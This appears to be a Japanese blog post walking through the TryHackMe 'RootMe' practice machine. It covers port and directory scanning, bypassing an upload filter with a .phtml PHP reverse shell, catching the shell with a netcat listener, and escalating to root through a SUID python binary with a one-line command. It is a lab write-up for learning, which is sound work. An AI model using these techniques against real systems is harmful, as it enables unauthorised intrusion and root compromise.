0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe RootMe Writeup

Posted at

概要

TryHackMeのRootMeのWriteupを書いていきます。
多分THMの中で一番これが簡単なんじゃないかな?

Deploy the machine

Start Machineというボタンを押せばいいだけなんだけど、OpenVPNもつなげって言われる。
このスクリプトはTryHackMe公式のトラブルシュートスクリプトなのでこれを利用していつもつないでる。

初期設定されていたEU-Regular3というロケーションのopenvpnの設定を使うと証明書が壊れてるっぽいため、IN-Regular-1を利用している

Scan the machine, how many ports are open?

nmap -sV -A xxx.xxx.xxx.xxx

でおしまい。答えは2

What version of Apache is running?

上記コマンドを実行すると、apacheのバージョンまで確認できるため、それを入力

What service is running on port 22?

これもnmnapを動かした際に確認できている。ssh

Find directories on the web server using the GoBuster tool.

gobuster dir -u http://xxx.xxx.xxx.xxx -w directory-list-2.3-medium.txt

このdirectory-list-2.3-medium.txtはここから取得可能。ここは公式ではない気がする

そうすると/panelというパスが見つかるので、アクセスするとアップローダーの画面が表示される。

Getting a shell

上記アップロード画面からシェルを取得しろとのこと、Hintには

Search for "file upload bypass" and "PHP reverse shell".

とのこと

find upload bypass

このアップローダーは拡張子が.phpだとアップロードを拒否する。
そのため拡張子を.phtmlとか.phpsとかにするとそのバリデーションを回避することができる。
攻撃対象のapacheだとphtmlは実行可能になってそうなのでphtmlの拡張子に変更してアップロードする。

問題は何のスクリプトを実行するかだ。

PHP reverse shell

これを実行するっぽい

クライアント側で

nc -v -n -l -p 1234

を実行した後
php-reverse-shell.phtmlをアップロードしてアクセスすると

listening on [any] 1234 ...
connect to [10.17.111.155] from (UNKNOWN) [10.10.72.233] 49542
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:15:04 up  1:31,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

このようにshellが降ってきます。
あとは、

find / -name user.txt
/var/www/user.txt

で見つかる

Search for files with SUID permission, which file is weird?

あとはどうやってroot権限に昇格するかだが、
Hintを押すと

find / -user root -perm /4000

と表示される
SUIDで怪しい強い権限を持って悪用できそうなファイルはないかというと

-rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python

pythonが強そうな権限を持っているため

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

でroot権限のシェルを取得する

SUIDとは

SUIDとは実行する際の実行権限を実行するユーザーではなくファイルの所有者権限で実行する権限を持てる仕組みである。上記の設定の場合pythonをroot権限で実行できてしまう。

これでroot権限を取得した後、

find / -name root.txt

でroot.txtを探す。

Hint

ここでもHintが表示されており

Search for gtfobins

と表示される。

このgtfobinsとは何かだが

間違った設定とその実行ファイルなどの組み合わせでどのような権限昇格方法などのやり方があるかがまとめられているサイトであった。

コワイ

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?